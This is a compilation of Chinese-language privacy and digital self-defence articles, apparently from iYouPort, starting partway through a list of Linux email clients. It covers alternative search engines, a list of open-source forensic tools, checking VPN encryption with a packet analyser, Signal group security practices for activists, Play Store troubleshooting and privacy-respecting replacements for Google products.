它最初是为企业开发的。Evolution 支持 Exchange Server 以及您可能在企业环境中找到的许多其他设置。除了处理您的电子邮件之外，它还是一个完整的个人信息管理器（PIM），包括日历、任务列表、联系人管理器和笔记应用程序。

如果您对垃圾邮件过滤、GNU Privacy Guard（GPG）支持，与 LibreOffice 的集成或一系列其他功能感兴趣，您可以考虑使用它。

一些基本的电子邮件管理功能以及高级功能如下：

- 帐户管理
- 更改邮件窗口布局
- 删除和取消删除邮件
- 排序和组织邮件
- 快捷键用于阅读邮件的功能
- 邮件加密和证书

- 通过邮件发送邀请
- 自动完成电子邮件地址
- 消息转发
- 拼写检查
- 使用电子邮件签名
- 离线工作以及许多其他功能

Geary

Geary 是最初由 Yorba Foundation 开发的项目，它创建了许多不同的 GNOME 软件工具。 如果你正在寻找一个简单而高效的电子邮件客户端提供基本的功能，那么 Geary 可以是一个不错的选择。

有以下特点：

- 支持常见的电子邮件服务提供商，如 Gmail，Yahoo！Mail，以及许多流行的 IMAP 服务器
- 简单，现代和直接的界面
- 快速帐户设置
- 快速关键字搜索
- 全功能的 HTML 邮件编辑器
- 桌面通知支持

KMail

KMail 是 Kontact 的邮件组件，Kontact 是 KDE 附带的个人信息管理器。KMail 支持各种电子邮件协议，包括 IMAP，SMTP 和 POP3，通过与其他 Kontact 组件集成，它可以被视为一个完整的组件套件。尽管有 Linux 路由，但也可以使用 Windows 版本。

KMail 主要功能包括：

- 支持标准邮件协议，如 SMTP，IMAP 和 POP3
- 支持纯文本和安全登录
- 读取和写入 HTML 邮件
- 与垃圾邮件检查器（如 Bogofilter，SpamAssassin 等）的集成
- 支持接收和接受邀请
- 强大的搜索和过滤功能
- 加密的密码保存在 KWallet 中
- 备份支持
- 与其他 Kontact 组件完全集成，还有更多

Sylpheed

Sylpheed 是一个简单，轻便，易于使用，跨平台的电子邮件客户端，是有特色，它可以在 Linux，Windows，Mac OS X 和其他类 Unix 操作系统上运行。

它提供了一个直观的用户界面，面向键盘使用。 适用于新用户和高级用户。

具有以下功能：

- 简单，美观，易于使用的界面
- 轻量级操作
- 可插拔
- 组织良好，易于理解的配置
- 垃圾邮件控制
- 支持各种协议
- 强大的搜索和过滤功能
- 与外部命令的灵活合作
- 安全功能，如 GnuPG，SSL / TLSv
- 高级日语处理，以及更多

○□

原文

6种可以不使用谷歌搜索的方法 - iYouPort

自我保护措施-技术技巧以防身

谷歌并不是一切。是的，它是有史以来最强大的搜索引擎；是的，它每秒处理40,000次搜索；是的，谷歌是我们大多数人的首选搜索引擎……是的，我们介绍过谷歌一些强大的功能，详见《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》，但是，

谷歌真的不是全部。

谷歌并不知道一切，并且有些资源实际上比谷歌能够更好地找到某些特定的信息。一些网站索引流媒体电影、其他网站存档 GIF。其他搜索引擎可能没有谷歌那么全知，但他们更加致力于保护您的隐私。更多详见《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》《Google 产品的替代品—完整列表》

今天介绍几个特别的搜索引擎，这些服务涵盖了一系列主题和需求，但您几乎可以保证能从中找到至少一个有用的。它们基本上都是免费的。#查找流媒体电影

1. 查找电子邮件和社交媒体的 GIF
2. 搜索空间图像
3. 给开发人员的免费软件
4. 注重隐私的搜索引擎
5. 执行搜索而不被 Google 跟踪

与 StartPage 类似，DuckDuckGo 的目的是保留隐私。该公司自豪地放弃了有针对性的广告—尽管在与您的关键字相关的前一个或两个搜索结果中赞助了广告。 DuckDuckGo 有一个干净的界面，巧妙地聚合数字新闻。“meanings”标签是一个不错的选择，因为它有助于分析搜索术语的重要性。

原文

9种最佳免费 Linux 数字取证工具 - iYouPort

自我保护措施-技术技巧以防身

数字取证是一门专业。它允许在不修改媒介的情况下进行调查。在使用数字证据作为调查的一部分时，能够以安全和非破坏性方式保存和分析数据至关重要，当需要维护法律审计线索时更是如此。

数字取证可用于广泛的调查，例如计算机入侵、未经授权使用计算机，包括违反组织的互联网使用政策、从文档和电子邮件中收集情报、以及保护公司资产。

开源和闭源软件之间的争论往往集中在自由、可靠性、互操作性和开放标准等因素上。其中开源是明显有利的。

在这种情况下，开源软件提供了法律上的好处，因为它可以增加数字取证证据的可接受性。这是因为开源工具使调查人员和法院能够验证工具是否符合其声明的要求，并且更容易证明未被修改。

「图」

「图」

Linux 拥有一系列数字取证工具，可以处理数据、执行文本文档、图像、视频和可执行文件的数据分析，以帮助识别相关数据和搜索数据的形式将数据提供给调查员。

为了深入了解可用的软件，我们编制了9个最喜欢的数字取证工具列表。

对于每个应用程序，都编译了自己的门户页面，完整描述了对其功能的深入分析，屏幕截图以及相关资源的链接。

数字取证工具：

" GRR Rapid Response "

Remote live forensics for incident response

" Mozilla InvestiGator "

Real-time digital forensics and investigation platform

" Radare2 "

Portable reversing framework

" The Sleuth Kit "

Collection of tools for forensic analysis

" Autopsy Forensic Browser "

Graphical interface to SleuthKit

" Volatility "

Advanced memory forensics framework

" guymager "

Forensic imaging tool based on Qt

" dcfldd "

Enhanced version of dd for forensics and security

" rdd "

Forensic copy program

原文

AS 如何检查您的VPN连接是否实际加密 - iyouport

自我保护措施-技术技巧以防身

【 2020年4月24日存档】这是合理的偏执，肯定比后悔更好

先关联一个去年底的消息👇非常不幸

不要使用“TurboVPN”。该vpn声称不保留日志，但这不是事实。其隐私政策中你可以看到（下图），它收集各种用户信息，这与真正的无日志服务完全相反 —— 这个隐私政策非常难以找到，如果你使用电脑基本是找不到的。

「图」

Turbo 只有在使用“最快服务器”时的表现才稳定。而一旦连接中断，你的流量很容易因此暴露；同样，所有没有自定义DNS设置的VPN都无法100%保证你的安全。

Turbo VPN 无法在中国下载，这可能是个障眼法。您需要小心：并不是所有被 App Store 下架的VPN都是“安全的”。

我们曾经发布过《如何判断VPN连接安全》的简易介绍；今天介绍的内容是前者的延伸。

很多VPN声称自己是加密的，那么你怎样才能得知它们是不是骗子呢？

其实不需要您学会怎么玩数据包嗅探器和协议分析器，一个网络实用程序就可以做到，它使您可以查看从您的计算机来回传输的数据。

在未连接到VPN时检查一次，并捕获了一些数据包，然后在连接后再做同样的事。很简单就可以看到传输的数据在发送到VPN时是否已经加密。

即便您没有任何技术专长也不用担心。您所需要做的就是按下一个记录按钮，滚动列表并检查一些文本。

您可以忽略其他所有内容，因为除非您对计算机和网络有所了解，否则您不需要那些东西。

在Mac上，使用 CocoaPacketAnalyzer，在PC上，使用 Wireshark。

在Mac上验证加密

「图」

首先，在Mac上下载 CocoaPacketAnalyzer 并运行它。您应该看到带有四个大按钮的启动屏幕。

点击 Capturing 即可开始捕获网络流量。如果您保存捕获会话，则称为 trace file，稍后您可以使用第二个按钮再次打开它们。

出于本文的目的，我们只希望看到数据是否已加密，因此不需要也不会保存任何捕获数据。

在执行捕获之前，请继续并单击“首选项”以设置如何捕获数据。

单击顶部的 **Capture**，需要在此处检查的唯一设置是 **Capture Interface**。

首先请确保按下列表框右侧的刷新小按钮。

当您点击该框时，您会看到几个选项，所有这些看起来都很混乱。不要管它，您唯一需要选择的就是列出了 **IPv4** 并带有一些数字的那串东西。

您无需选择包含127.0.0.1的那个，需要选择一个具有当前正在使用的连接的IP地址的条目。您可以通过转到“系统偏好设置”，然后单击“网络”来解决此问题。

单击左侧列表框中带有绿点的连接，然后检查右侧部分的IP地址字段。

如您所见，它显示为 192.168.1.x，因此与程序下拉列表中的 **en0—IP4–192.168.1.68** 选项匹配。

现在关闭 “Capture Preferences” 窗口，以返回到主屏幕。

继续并单击 “**Capturing**”，现在将弹出一个新对话框，您可以在其中选择一些设置，然后开始捕获。

在这里您不需要进行任何更改，因此要开始使用，只需按 **Start**。

但是，在执行操作之前，需要注意一些事项。

首先，您应该尝试关闭所有正在运行的程序和任务栏程序，并仅使浏览器窗口保持打开状态。这是为了尽可能减少数据流让任务变得简单一点。

之后，立即加载一个或两个站点，然后单击“停止”。您只需要捕获几秒钟就够了。您甚至可以直接在浏览器的标签页中输入网址，那么一旦开始捕获，您只需按Enter即可加载页面。

按下 “Stop” 后，您将看到一个类似于下面的窗口：

现在它看起来像是胡言乱语，这就对了。您需要做的就是滚动浏览顶部的列表（表格格式），然后查看在右下角的框中看到的数据，在上面突出显示了该数据。

由于可能有成千上万的行，您只需快速按下向下箭头并查看底部的数据更改即可。

如果您的VPN连接实际上是加密的，那么滚动的每一行都应显示与上图中的数据相似的样子。

由于它不可读，只有一堆随机字符，因此可以判断已加密。

使用加密的连接，那数千行中的任何一行都不应该被读取任何内容。

现在要不要看一下在未加密的连接上（例如未连接到VPN时）看到的内容？就是下面这样：

如上所示，由于没有加密，因此可以阅读到很多的内容。你能看到主人使用了 Mac 和 Safari，访问了aseemkishore.com，以及许多其他数据……

并非每个数据包在未加密的连接上都是可读取的，但是对于大多数数据包来说，您都能够看到实际数据，HTML代码、协议标头等。

在PC上验证加密

「图」

在PC上进行检查的过程与上面显示的过程几乎相同，除了您使用的是另一个名为 Wireshark 的程序。

下载后，将其启动，主屏幕应如下所示：

就像在Mac上一样，您需要做的第一件事就是选择要为其捕获数据的接口（网络接口）。点击“接口列表”，您将看到网络接口列表。

我更喜欢 Wireshark，因为您实际上可以看到每个接口上正在传输多少数据，这使您很容易看出哪个是主要连接。

继续并选中相应接口旁边的框，然后单击“关闭”。

现在，您所要做的就是单击“开始”按钮（在“接口列表”按钮下方），您将可以正常使用；您无需更改任何其他选项。完成捕获后您应该会看到如下屏幕：

您可能必须全屏展开，然后相应地调整底部和顶部窗格，但是您可以看到数据的格式与Mac上的 CocoaPacketAnalyzer 完全相同。

滚动浏览顶部的列表，并确保数据部分完全是乱码，这意味着您的连接已加密。

如果您能够阅读任何单词或文字，则表示数据未加密。确保使用箭头键快速浏览至少几百行。

希望您的VPN连接被证实已经安全加密。〇

原文

AS59 如何才能安全地使用端对端加密（比如 Signal）：准则 - iyouport

自我保护措施-技术技巧以防身

【2021年3月25日存档】一个软件不能保护您的一切，最严重的问题往往都出在人身上

您应该使用端对端加密，这不必细说了；幸运的是如今很多人已经理解到使用端对端加密的重要性，尤其是，人们已经知道，安全不是哪个软件能完全解决的问题，安全必须是一套科学的思维习惯 ＋ 科学的操作方法 ＋ 有效的协作。

Signal 也一样。作为一个安全工具，如今它是许多群体相互联系和沟通的首选渠道。用户团体的意图和目的可以有很大的不同，从制定晚餐计划到组织下一次反抗运动。

但是，仅仅使用 Signal 还不足以保证您和您的朋友的安全 —— 安全只有在堵住最薄弱环节之后才能有保障，在通讯软件上，“最薄弱环节” 就是：您与之交流的所有人中最不注重安全性的那个/那些人。

因此本文将概述一些准则和协议，以帮助加强您的个人和集体安全实践。

请注意：端对端加密工具不只有**Signal**！本文中强调的大部分准则适用于所有端对端加密通信应用。

当创建一个新群组时

「图」

加密通信的技术能力本身会给人们一种误解，似乎 “我终于可以随便说话了”，并不是这样的！还记得英国间谍搞出来的入侵 Signal 的方法吗？是的，最危险的部分在于人，在这里看到《关于幽灵用户和开裆裤》。

创建群组要有目的性，添加成员同样需要有目的性。在将任何一个人添加到您的联系人列表之前要知道：一旦某人成为群组的一部分，您就不可能简单地将其删除了。您不可能在完全放弃这个群组或者要求此人离开之前删除他。

📌 您随时应该知道您加进来的人都是谁。

考虑一下您会怎么处理一个一开始就被单方面添加进来的人，单方面添加指的是比如无法双向认证的，或者是让群组中其他人对此有顾虑的。另外，在没有事先征得群组中其他人同意的情况下，不要把新人加到敏感的群组里。

群组建立后，您需要说明此群组的目的，并立即点名 —— 可以完全根据您的需求，不论是不是实名，或者所有成员都使用代号，只要彼此知道其他成员都是谁就可以了。这些应该在对话开始之前完成。

不要在没有问过群组成员的情况下添加新的人进入，并给人们一个指定的时间来表达意见，比如24小时，因为许多人不可能每时每刻都在手机上活动。鼓励原成员对新成员提出问题或进行阐述，这比简单地说 “您担保” 更有助于创造良好的对话。

每次增加新成员时，都要重新点名，这样您的群组其他成员就会知道自己正在和谁说话。

担保

「图」

这里的的担保就是它本来的意思 —— 即 支持是真实的、确定的、可靠的，或 证明、保证、认证。在政治背景下，为某人担保指的是，您相信此人致力于团队的目标，值得信赖，可靠和负责任。

📌 请记住，担保是对您个人意见的反映，建议谨慎使用担保，因为如果是不负责任的担保，就会影响群体的安全、信任和凝聚力。

担保是某人获得一种凭证，这样的 “凭证” 对于以前可能没有合作经验的群体来说非常重要，他们需要一定的信任和安全感才能舒适有效地合作。

担保制度可以让1个人或多个人（越多越好）使用他们从团体中获得的信任，并将其扩展到他们想要带入的人身上。担保的必要性根据您

工作的内容而异，越是敏感的工作，这个过程就越是需要谨慎。

担保某人是否应该能够进入一个群组的对话、是否合乎该群组的目标和目的，应该结合群组的整体目标和风险来考虑。群里的其他成员在选择是否相信您提供的担保时，都会有自己的判断力。

📌 使用担保的一些标准包括：

- 认识此人有一段时间了，对此人有一定程度上的了解；尤其是，了解此人在该群组的目标方面的契合度；
- 您与此人合作过一段时间，对此人的工作方式、品格和原则立场有一定了解；
- 您的熟人中有一些人在一定时间内与此人合作过，他们对此人的信任加之您对他们的信任，可以在您的心目中给此人一个信任度的基础分数；
- 您了解此人的优势和缺点，以及知道此人在面临镇压的情况下的反应；
- 您知道此人如何回应批评或反馈，以及此人对自己的行为负责的程度；
- 您了解此人的大家庭、儿时的朋友、以及整个人生故事（开个玩笑...也许是，但比较少见...）

总之，您应为以下人员提供担保：您认识和信任的人，您知道他们了解特定群体的目标和安全要求，您知道他们参加过专业的扎实的安全培训，并可以熟练使用安全操作。

您不应该仅仅因为 “知道这个人的存在和其工作内容” 或 “有过一两次愉快的谈话” 就给予此人担保，虽然这些东西是了解和信任某人的一部分，但它仅仅是一部分！并非全部。

担保的严格程度会根据你们的对话的敏感度和团体承担的风险等级而有所不同。如果这是你没有考虑过的问题，现在就需要考虑（我们在不久后会更详细介绍安全文化的构建）。

📌 无论您用什么标准来担保他人，都要提前跟群组里的每个人沟通，而且每个人都需要站在同一条线上。担保这个词已经被用烂了，几乎没有详细地说明，人们对它的含义往往有不同的想法。这就是您需要沟通的地方，让所有人统一对这个概念的理解标准。

请注意，数字安全不能代替关系安全！如果您决定信任的任何一个人在敏感的信息对话中，结果此人本来是恶意的、鲁莽的、粗心的、或

不负责任的，那么世界上所有安全软件和安全协议都无法帮助您。

规则

「图」

当重新安装 Signal 或获得新的电话号码时，请事先通知各群组，让他们知道要接受新的安全密钥 —— 他们会看到您的 “安全码已改变” 的提示，如果他们不知道您在做什么，他们会因此害怕。

或者，如果您无法事先通知其他人，也要在事后立即让他们知道。📌 根据安全级别不同，您应该选择亲自见面、或发送安全号码的截图，来验证新的安全码。

使用安卓系统时，一定要在 Signal 应用上设置密码和超时功能。可惜iOS还没有这个安全功能。至少要为整个手机设置一个复杂的字母数字密码。从法律的角度来看，形状、图案和拇指指纹/生物识别技术都是不安全的，维稳官员可以依法强制您出示指纹来解锁手机。此外也要对您的手机进行加密。

一定要使用阅后即焚。时间设置长短根据您的具体危险状况来判断，您需要想象威胁会如何发生，据此来判断多长时间的销毁是合适的。如果您的群组中任何一个人的手机被警察抢走，却没来得及锁屏，你们所有人都会被暴露。

并且，您需要时刻关注阅后即焚时间的稳定性，有时，当群组中有人重新安装应用程序或添加了新的人员进入时，阅后即焚可能会被自动关闭。您需要确保及时地重新激活该功能。

📌 如果您正在参加反抗行动、或处于可能导致逮捕的任何一种情况下，包括过境，而您又带着手机，请事先离开所有的群组并卸载 **Signal**。不论如何，非常建议不要把您的个人手机带入上述这些情况中。您可以在下面阅读详细解释，以及您可以如何处理这种情况：

- 《指南：当您准备参加抗议活动...》
- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 《如何识别抗议活动中可见的和不可见的监视》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《警察如何利用抗议者的手机追踪每个人》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取

证》
- 《手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您》

如果您在跨越国界，必须首先离开所有群组，并卸载 **Signal**。因为通常保护您免受搜查和扣押的法律基本都不适用于国际边境。如果您在国外旅行，强烈建议不要携带您自己的手机/平板电脑/笔记本电脑/等。

如果出现安全漏洞，比如您带着手机被警察抓到，或者您的家被警察突袭，您需要指定一个人开始一个新的群组，并立即离开旧的群组（也就是烧掉这个群组）。确保威胁不会转移到新的循环中。指定一个人留在旧群组上，确保所有人都完全离开了。最后删除这个群组。

在手机丢失/被盗或被警察没收的情况下，立即向与您在同一个群组中的其他人报告，让他们提醒所有成员需要抛弃旧群组并重新开始。

签入政策

「图」

有些群组是短暂的，是为了特定的短期目的而存在的，在目的完成后应予以删除。生命期不确定的群组应定期检查成员情况，以帮助消除松散的问题。

考虑建立签到/参与小组讨论的制度。要求群组成员定期重新判断自己在邮件列表或名单上的兴趣，并确保没有出现安全问题。📌 有些群组也可以选择对成员实行定期签到的要求 —— 如果在某段指定时间内没有收到某人的签到，可能表明存在安全漏洞。这在那些经常出现强迫失踪的国家来说，是很有必要的，如果您的群组成员被失踪，您需要做最坏的考虑，尤其是需要及时知道这件事。

📌 请记住。有时即使一个成员离开了群组，他们也会继续收到该群组的消息（由于软件故障）。如果该群组的信息是敏感的，某人离开此群组应被视为安全漏洞，该群组应立刻被烧毁。重建。

讨论敏感资料 —— 不论是过去的、现在的或将来的 —— 应该只在所有成员 *需要知道* 的基础上进行，而不是 “我相信你” 或 “我觉得这个很酷”。吹嘘、八卦和传言都是危险的行为，在您的行动中应该没有地位。

尤其是！具体的行动规划讨论应该面对面地进行 —— 决不要以数字方式进行！所有的数字安全都有弱点和漏洞。您越了解数字安全的弱点和局限性，您就越能保护自己。〇

原文

Google Play商店无法下载或更新应用程序怎么办？ - iyouport

自我保护措施-技术技巧以防身

有11种可能的方法尝试排除故障

谷歌应用商店是在安卓设备上安装应用程序的最安全和最快的媒介。每个安卓用户都知道如何使用 Play Store，但不是每个人都知道当该应用商店出现问题时该怎么做。

如果 Play Store 不能在您的设备上下载或更新应用程序，请参考下面的解决方案。

1. 检查您的互联网连接

「图」

您需要一个强大的移动数据或Wi-Fi连接，才能从 Play Store 下载应用程序。当点击安装或更新按钮时，应用程序是否卡在 “下载等待” 阶段？确认您的互联网是否正常。启动浏览器，随机访问一个网站，如果网页无法加载，很可能是您的网络连接出现了问题。启用飞行模式再关闭它。

如果您不能通过移动数据网络连接下载应用程序，请切换到Wi-Fi连接。如果在Wi-Fi上问题仍然存在，重新启动或重置您的路由器，再试一次。VPN连接也会影响 Google Play 的性能。

2. 更新日期和时间

「图」

一些系统服务和第三方应用程序可能因数据设置不正确而出现故障。前往系统设置菜单（设置」系统」日期和时间），确保您的设备正在使用网络提供的日期时间。您还应该启用 “使用网络提供时区” 选项

的切换。

3. 停用您的设备的蓝牙

「图」

虽然这听起来有点奇怪，但许多在谷歌商店遇到类似问题的安卓用户证实，禁用蓝牙是一个有效的解决办法。从通知中心禁用您设备上的蓝牙，或进入设置」连接的设备」连接偏好」蓝牙，以切换关闭蓝牙。

4. 释放存储空间

「图」

当您的设备存储空间不足时，一些系统功能将变得不可用。例如，Play Store 可能无法下载新的应用程序或更新旧的应用程序。一些应用程序也可能开始运行缓慢，在使用过程中偶尔会崩溃。

虽然安卓系统在设备内部存储空间不足时（或可用空间不足1GB时）会显示通知，但请进入设置」存储空间，以了解设备是否有足够的存储空间来容纳新的应用程序。

您应该可以看到您已经使用了多少存储空间，还剩下多少。如果存储空间很低，点击释放空间按钮，使用内置的安卓清理器，从您的设备上删除垃圾、重复文件和长期不使用的应用程序。

5. 清除 Play Store 缓存和数据

「图」

进入“设置”」“应用程序和通知”」“应用程序信息”（或“查看所有应用程序”）」“Google Play商店”」“存储和缓存”，然后点“清除缓存”。

清除Play商店的缓存后，尝试下载您想要的应用。如果问题仍然存在，请返回Play商店的存储页面，然后点击 Clear storage。

6. 重置下载管理器

「图」

Google Play 商店通过 Android 下载管理器在您的设备上下载应用程序。如果这个内置下载器被禁用或出现故障，您就无法安装或更新应用程序。重置下载管理器可以帮助解决 Play Store 下载失败的问题。按照下面的步骤来完成。

首先进入设置」应用程序信息（或查看所有应用程序），然后点击右上角的三点菜单图标。

然后选择显示系统。

滚动浏览应用程序，然后点击下载管理器。

选择存储和缓存。

点击清除缓存，然后清除存储。

然后启动 Play Store，检查您现在是否可以下载和更新应用程序。

7. 重置谷歌Play服务

「图」

Google Play 服务是一个核心的安卓系统，为所有谷歌应用程序和服务提供动力。如果您在 Play Store 下载应用程序时遇到问题，而且您所尝试的一切都被证明是失败的，那就试试重置。

进入“设置”」“应用程序和通知”」“应用程序信息”（或“查看所有应用程序”）」“Google Play服务”，点击“清除缓存”。之后，点击清除存储，在下一页选择清除所有数据。

您的设备将下载运行Google Play服务所需的一些系统应用程序。设置完成后，打开Play商店，然后检查重置 Google Play 服务是否可以解决问题。

8. 重装

「图」

安卓系统会在后台自动更新谷歌Play商店。虽然这些更新中有些是没问题的，但其他的更新有时会出现导致性能问题的错误。

首先长按 Play Store 应用图标，点击信息（i）图标。

点击三点菜单图标。

选择卸载更新。

在提示上点击确定以继续。

之后，您应该将 Google Play 商店更新为最新版本。启动Play商店，点击菜单图标，然后转到“设置”」“ Play商店版本”。

您的设备将在后台下载并安装最新版本的Google Play Store。

9. 重新启动您的设备

「图」

当Google Play商店无法下载时，给您的设备断电是另一个值得尝试的故障排除技巧。按住电源键，在电源选项上点击重新启动。

连接到一个强大的Wi-Fi或移动数据连接，重新尝试下载。

10. 更新您的设备

「图」

安装最新的安卓系统更新可以解决阻止 Play Store 处理应用程序下载和更新的问题。进入设置」系统」高级」系统更新，检查您的设备是否有软件更新。

11. 重新加入您的谷歌账户

「图」

这需要退出您的谷歌账户并重新登录。虽然这可能会解决Play Store的问题，但请注意，删除您的账户可能会删除您已经同步到谷歌账户的一些数据（联系人、信息、日历事件等）。

要退出谷歌账户，请进入设置」账户，选择连接到Play Store的谷歌账户。之后点击移除账户。

在“账户”菜单上，选择“添加账户”，按照提示重新添加账户。

最后

「图」

这11个故障排除方法中至少有一个会在您的设备上发挥作用。您还可以看看这个关于修复Google Play问题的指南，了解更多解决方案。〇

原文

Google 产品的替代品 – 完整列表 关注隐私权的你，马上行动起来 ~ - iyouport

关于谷歌-监视资本主义的创始人自我保护措施-技术技巧以防身

【2018年6月1日存档】谷歌不是全部。真的不是。摆脱数字专制需要更多人行动起来，尤其是你：因为你读到了这篇文章，你知道该怎么做

是时候说再见了。

你注意到了吗？

Google 的整个商业模式都是基于令你投降于其企业监视而已。他们所做的一切都是将大规模监控重新包装成看起来方便、免费、时尚的应用程序，吸收所有数据。你的私人数据有助于 Google 主导的在线广告市场。

你才是产品。

这里要考虑的另一个关键问题是，Google 正在跟踪和记录你的一切活动，以便构建用户配置文件，该用户配置文件可用于各种目的。即使您未登录 **Google** 帐户，**Google** 也有多种方式可以跟踪您的活动：

> 通过 *Google Adsense* 进行跟踪（您在大多数网站上看到的那些恼人的横幅广告都可以用作跟踪）；

Google 收集的关于您的所有数据通常都是通过有针对性的广告获利（谷歌现在是全球最大的广告公司）。您的数据也可能会提供给政府部门（谷歌自 2009 年以来一直在与政府进行大规模监控方面的合作）。

换句话说，即使您正在努力避免它，Google 仍可以追踪您在网上的一举一动。

这个问题的解决方案基本上需要：

删除您的 *Google* 帐户和数据

Google 搜索替代品

任何关注隐私权的人都应该知道，使用 Google 搜索并不是一个好主意。当您使用他们的搜索引擎时，Google会记录您的 IP 地址、搜索字词、用户代理、以及经常存储在 Cookie 中的唯一标识符。

这里有几个可以替代谷歌搜索的选择：

Searx – 一款非常适合隐私的多功能元搜索引擎。

Qwant – 位于法国的保护个人隐私的搜索引擎。

Metager – 位于德国的保护隐私的搜索引擎。

DuckDuckGo – 这是一个非常合适的 Google 替代品，不会使用跟踪或定位广告。他们还与其他功能具有零分享政策，但他们确实记录了搜索条件。是的它位于美国，但它是所有美国产品中的一个特例。

StartPage – StartPage 非常可爱在于，它可以为您提供 Google 的搜索结果，但没有跟踪。是不是很赞呢。

在寻找隐私最佳搜索引擎时，请注意以下几点：

搜索结果 – 某些搜索引擎可能在隐私类别中表现不错，但它们不会返回非常好的结果。

隐私 – 考虑您使用其服务时搜索引擎所记录的信息。

信任 – 信任难以量化和衡量，但这是一个重要的考虑因素。在考虑信任因素时，您可能还需要了解公司的历史，其背后的个人以及他们在行业中的声誉。

无论您决定使用哪种搜索引擎，采取一般的在线隐私措施总是很好的。这包括使用隐私友好的浏览器，良好的**VPN**服务和其他隐私工具来保持在线安全。

Gmail 的替代品

如果您担心隐私，Gmail 是您可以使用的最糟糕的产品之一。您通过

Gmail 完成的所有工作都由谷歌母公司收集 – 每封电子邮件，附件和图片……使用 Gmail，Google 可以亲密地查看您的所有私人生活和个人联系信息。

当您保持登录到 Gmail 帐户时，Google 就可以在您浏览可能托管了 Google Analytics 或 Google 广告（Adsense）的不同网站时，轻松地在线追踪您的一切活动。它就是个间谍。

幸运的是我们有许多不同的保护隐私的电子邮件可选; 这里有五大选择：

Mailfence – 总部位于比利时 – 500 MB 免费; 20 GB Pro；

Tutanota – 总部位于德国 – 1 GB 免费; 10 GB Pro；

Mailbox.org – 位于德国 – 2 GB 存储空间；

Protonmail – 位于瑞士 – 500 MB 免费; 5 GB 专业版；

Runbox – 基于挪威 – 30 天免费试用; 1 GB – 25 GB（付费计划）；

您可以尝试上述任何一个选项，以查找适合您情况的最佳 Gmail 替代方案。

Chrome的替代品

谷歌浏览器是一款流行的浏览器，但它可以记录和跟踪你所做的一切。

不信吗？请看看下图，请坐稳小心摔倒。

如果您是 Chrome 用户，是时候考虑以下这些替代方案了：

Firefox浏览器 – 这是一款免费的开源互联网浏览器，颇受欢迎。您还可以使用各种可以阻止广告和跟踪的隐私附加组件（但要注意浏览器指纹识别）。

Tor浏览器 – 这只是对 Firefox 的一个强化，隐私友好绝佳的版本。您不需要任何附加组件或扩展程序，因为它已经配置了完美的隐私和安全性。话虽如此，对于不少用户来说这可能是过分的，因为它会防止你访问的很多网站。使用 Tor 的注意事项，有九件事您不能做，详见我们的具体介绍.

Brave 浏览器 – Brave 是一个很好的浏览器，内置了隐私保护和广告拦截功能。但是，它也基于 Chromium，并受 WebRTC泄漏 问题的影响。您可以酌情选择。

在这里查看 Firefox隐私 指南，它解释了您可以使用 Firefox 进行的不同隐私和安全修改。

Google Drive 的替代品

如果您正在寻找安全的云存储选项，可以查看这些 Google Drive 的备选方案。他们更安全，能更好地保护您的隐私和数据。

TeamDrive – 这是一个基于德国的面向企业的云备份和文件同步选项。

Tresorit – 这是一个基于瑞士的用户友好型云存储选项。他们提供客户端加密，但也使用Microsoft Windows 服务器，这是一个缺点！我们的安全原则是尽可能不要和美国沾边。

Nextcloud – Nextcloud 是一个开源的自承载文件共享和通信平台。他们驻扎在德国。

YouTube 的替代品

不幸的是，似乎还没有很多已经流行的 YouTube 替代品，但这里有几个选择：

Vimeo

DailyMotion

Bitchute

Hooktube

Hooktube – Hooktube 基本上是一个 YouTube 代理，它允许您取消阻止 YouTube 视频、下载视频并避开 YouTube 的审查限制（除非 YouTube 完全删除该视频）。这也有助于保持来自 Google 的数据。

如何使用 Hooktube：只需在任何 YouTube 链接中替换域名即可 hooktube.com ，并且您可以获得一个轻量级页面，可将 YouTube 媒体文件（mp4，webm等）直接加载到浏览器的本地媒体播放器

中。

https://youtube

.com/watch?v＝S6bOkFLrsAc 变为 https://hooktube.com/watch?v＝S6bOkFLrsAc 等。

支持的参数：开始，结束，循环（1代表开启），速度（范围：0.01至4），自动播放（关闭0，默认为1）。

最后，您还可以查看这里 解锁YouTube 指南，以获取更多解决方案。

Google 分析的替代方案

如果你正在运行一个网站，重要的是要看看人们最喜欢的内容有哪些，据此你可以给你的读者他们想要的。否则，发布文章就像在墙上蒙着双眼玩飞镖了。不幸的是，Google Analytics（分析）过度的追踪，您在享受服务的同时已经付出了人权的代价，完全得不偿失。这里有几个选择可以替代它：

Matomo（以前称为 Piwik）是一款出色的开源分析程序，通过匿名和截断访客 IP 地址来尊重访问者的隐私。这是唯一经过认证的尊重用户隐私的分析服务；

Fathom Analytics 也是 Google Analytics 的开源替代品，你可在Github上获得。

Clicky 是另一个选择，但它没有 Matomo 的内置隐私保护。

许多网站托管 Google Analytics，因为他们运行的是 Google Adsense 广告系列。如果没有 Google Analytics（分析）跟踪这些广告系列的效果将会很困难。尽管如此，这对隐私仍然严重不利，更重要的是我们完全可以拒绝它，为什么不呢？

Google 地图的替代品

PC 的替代地图是 OpenStreetMap

另外一些用于移动设备的 Google 地图替代品包括：

OsmAnd 是 Android 和 iOS（基于 OpenStreetMap 数据）的免费和

开源移动地图应用程序；

Maps（F Droid）使用 OpenStreetMap 数据（离线）。

WeGo 这款应用程序为个人电脑和移动设备提供了良好的映射解决方案。

Maps.Me 是 Android 和 iOS 上免费的另一种选择，但在其隐私政策中已有解释，这种替代方法有相当多的数据收集。您得酌情选择。

Google Play 商店的替代品

目前最好的 Google Play Store 替代选择是使用 F-Droid，然后通过 Yalp 商店。

正如官方网站上所解释的，F-Droid 是 Android 平台的 FOSS（免费和开源软件）应用程序的可安装目录。

安装完 F-Droid 之后，您可以下载 Yalp 商店 APK，它允许您直接以 APK 文件的形式从 Google Play 商店下载应用程序。

Google日历的替代品

最好的谷歌日历替代方案似乎是 Etar，它是开源的，简单的，并尊重您的隐私。

另一个很好的尊重您的隐私的选择是 aCalendar。它也有一些很好的功能。在官方网站上可以查看。

另外两个谷歌日历的替代品是 Kin 和 Fruxx。但是，如果您仔细阅读隐私政策的话就很容易看出，Etar 或 Calendar 会是相比下更好的选择。这是因为 Kin 和 Fruux 都收集用户/日历数据。

一些安全电子邮件提供商也提供日历选项，例如 Mailfence日历。

你关心自己的隐私吗？

